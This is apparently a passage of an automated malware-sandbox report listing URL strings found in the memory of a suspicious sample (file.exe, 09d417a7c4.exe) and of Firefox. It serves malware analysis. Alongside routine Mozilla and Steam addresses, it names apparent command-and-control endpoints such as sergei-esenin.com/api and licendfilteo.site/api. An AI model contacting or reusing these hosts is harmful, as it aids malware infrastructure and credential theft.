Source: firefox.exe, 0000001B.00000002.3163874146.000002557FBE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1Connecting
Source: firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ftp.mozilla.org/pub/labs/devtools/adb-extension/#OS#/adb-extension-latest-#OS#.xpi
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3042197775.00000255074B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3051193396.0000025507A16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 0000001B.00000003.2946171739.0000025510196000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3163874146.000002557FBD8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3042197775.00000255074B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3051193396.0000025507A16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3163874146.000002557FBE0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3163874146.000002557FBD8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3042197775.00000255074B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3051193396.0000025507A16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FBE0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3042197775.00000255074B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3051193396.0000025507A16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3041852185.0000025507303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3051193396.0000025507A16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtab
Source: firefox.exe, 0000001B.00000003.2946171739.0000025510196000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtabL
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3051193396.0000025507A16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtab
Source: firefox.exe, 0000001B.00000003.2946171739.0000025510196000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtabC
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtabhttps://getpocket.com/explore/te
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3051193396.0000025507A16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtab
Source: firefox.exe, 0000001B.00000003.2946171739.0000025510196000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtabA
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3051193396.0000025507A16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtab
Source: firefox.exe, 0000001B.00000003.2946171739.0000025510196000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtabE
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3051193396.0000025507A16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtab
Source: firefox.exe, 0000001B.00000003.2946171739.0000025510196000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtabG
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3051193396.0000025507A16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab#
Source: firefox.exe, 0000001B.00000003.2946171739.0000025510196000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab?
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3051193396.0000025507A16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtab
Source: firefox.exe, 0000001B.00000003.2946171739.0000025510196000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtabN
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3163874146.000002557FBD8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3051193396.0000025507A16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tabbrowser.newtabpage.activity-stream.discoverystr
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3051193396.0000025507A16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtab
Source: firefox.exe, 0000001B.00000003.2946171739.0000025510196000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtabI
Source: firefox.exe, 0000001B.00000003.2946171739.0000025510196000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more/
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_moreCould
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_moreextensions.pocket.oAuthConsumerKey
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3163874146.000002557FBD8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3051193396.0000025507A16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsresource://activity-stream/lib/TelemetryFeed.jsmDisplays
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3042197775.00000255074B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=basic
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3116694729.000002550A6B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/cfworker
Source: firefox.exe, 0000001B.00000002.3138467915.0000025510299000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2929130101.000002551029D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2974971166.0000025510299000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts
Source: firefox.exe, 0000001B.00000002.3138467915.0000025510299000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2929130101.000002551029D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2974971166.0000025510299000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query.ts
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2885518412.0000025507B3E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2884833153.0000025508100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2885905066.0000025507B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla/webcompat-reporter
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/blob/master/css-grid-2/MASONRY-EXPLAINER.md
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/issues/4650
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gpuweb.github.io/gpuweb/mozstd-trackwhite-digest256
Source: 09d417a7c4.exe, 00000010.00000002.2952650199.000000000101F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: file.exe, 00000000.00000003.2126603283.0000000000D66000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772760148.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2913281194.0000000001469000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2912913230.0000000001464000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.3010399483.000000000146B000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000003.2911872105.0000000001053000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://helper1.dap.cloudflareresearch.com/v02
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3146705531.0000025578211000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881No
Source: firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ideas.mozilla.org/
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-getpocket.cdn.mozilla.net/
Source: firefox.exe, 0000001B.00000003.2946171739.0000025510196000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-getpocket.cdn.mozilla.net/X
Source: file.exe, 00000000.00000003.2170327401.0000000000D8D000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3053862003.0000025507C59000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3051193396.0000025507A16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 0000001B.00000002.3037710941.00000255059D6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3142094936.0000025510A80000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3051193396.0000025507A16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submitsection.highlights.includeVisitedbrowser.safebrowsing.m
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3113974660.000002550A267000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3113974660.000002550A27A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema
Source: firefox.exe, 0000001B.00000002.3109890652.0000025509903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema.
Source: firefox.exe, 0000001B.00000002.3109890652.0000025509903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema./
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2020-12/schema
Source: firefox.exe, 0000001B.00000002.3109890652.0000025509903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2020-12/schema/
Source: firefox.exe, 0000001B.00000002.3109890652.0000025509903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2020-12/schema/=
Source: 09d417a7c4.exe, 00000010.00000002.2950222857.0000000000FD5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://licendfilteo.site:443/api
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FBE0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3119712014.000002550A939000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3119712014.000002550A939000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.comsearch-one-offs-context-set-default
Source: 09d417a7c4.exe, 00000010.00000002.2952650199.000000000101F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: 09d417a7c4.exe, 00000010.00000002.2950222857.0000000001017000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000002.2952650199.000000000101F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: 09d417a7c4.exe, 00000010.00000002.2950222857.0000000001017000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000002.2952650199.000000000101F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3163874146.000002557FBE0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3146705531.00000255782D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggestresource://activity-stream/lib/HighlightsFeed.jsmr
Source: firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mitmdetection.services.mozilla.com/
Source: firefox.exe, 0000001B.00000002.3037710941.0000025505945000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3152189016.000002557F203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3152189016.000002557F2A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com
Source: firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections
Source: firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/breach-details/
Source: firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect
Source: firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/breach-stats?includeResolved=true
Source: firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/dashboard
Source: firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/preferences
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mozilla-hub.atlassian.net/browse/SDK-405
Source: firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla-ohttp-fakespot.fastly-edge.com/
Source: firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla.cloudflare-dns.com/dns-query
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mzl.la/3NS9KJd
Source: firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://oauth.accounts.firefox.com/v1
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FBE0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3118920098.000002550A870000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ok.ru/
Source: firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r
Source: firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-
Source: 09d417a7c4.exe, 00000010.00000002.2950222857.0000000001017000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000002.2952650199.000000000101F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profile.accounts.firefox.com/v1
Source: firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com
Source: 09d417a7c4.exe, 00000010.00000002.2950222857.0000000001017000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000002.2952650199.000000000101F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: 09d417a7c4.exe, 00000010.00000002.2950222857.0000000001017000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000002.2952650199.000000000101F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: firefox.exe, 0000001B.00000002.3163874146.000002557FB73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3042197775.00000255074B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://redux.js.org/api-reference/store#subscribe(listener)
Source: firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/accounts/profile/?utm_medium=firefox-desktop&utm_source=modal&utm_campaign
Source: firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/api/v1/
Source: 09d417a7c4.exe, 00000010.00000002.2950222857.0000000001017000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 00000010.00000002.2952650199.000000000101F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%
Source: firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=%GOOGLE_SAFEBR
Source: firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatHits?$ct=application/x-protobuf&key=%GOOGLE_SAFEBROWSIN
Source: firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=%GOOGL
Source: firefox.exe, 0000001B.00000002.3040219505.0000025505EC0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://sb-ssl.google.com/safebrowsing/clientreport/download?key=%GOOGLE_SAFEBROWSING_API_KEY%
Source: firefox.exe, 0000001B.00000002.3037710941.0000025505945000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 0000001B.00000003.2885518412.0000025507B3E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2884833153.0000025508100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3082928833.0000025508595000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2885905066.0000025507B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/AS_ROUTER_TELEMETRY_USER_EVENT
Source: firefox.exe, 0000001B.00000002.3113974660.000002550A21B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/AS_ROUTER_TELEMETRY_USER_EVENTresource://default-theme/classifySite/
Source: file.exe, file.exe, 00000000.00000003.2167800399.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2283943556.0000000000D19000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2126652942.0000000000D19000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2203693833.0000000000D65000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2240990821.0000000000D6C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2126806636.0000000000D24000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2184041337.0000000005731000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2184075512.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2168617103.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2184166845.000000000573A000.00000004.00000800.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2772790381.000000000141C000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2773045040.000000000142A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/
Source: file.exe, 00000000.00000003.2203575439.0000000000D7C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2240724757.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2184150901.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2212628470.0000000000D84000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2184349095.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2203611504.0000000000D88000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2167370288.0000000000D88000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2212688293.0000000000D88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/8FZnT7
Source: file.exe, 00000000.00000003.2240990821.0000000000D6C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2283865897.0000000000D61000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/;
Source: file.exe, 00000000.00000003.2203693833.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/;_cdn=cloudflare
Source: 09d417a7c4.exe, 0000000B.00000003.2913281194.0000000001469000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2912913230.0000000001464000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/?
Source: 09d417a7c4.exe, 0000000B.00000003.3010399483.000000000146B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/B&v
Source: file.exe, 00000000.00000003.2241071323.0000000000D19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/K
Source: 09d417a7c4.exe, 0000000B.00000003.2772790381.000000000141C000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2773045040.000000000142A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/_
Source: 09d417a7c4.exe, 0000000B.00000003.2800829947.0000000001476000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2851191382.000000000147A000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2896030161.000000000147E000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2895926103.0000000001480000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/api
Source: 09d417a7c4.exe, 0000000B.00000003.2917433896.000000000148A000.00000004.00000020.00020000.00000000.sdmp, 09d417a7c4.exe, 0000000B.00000003.2895926103.0000000001480000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/api0
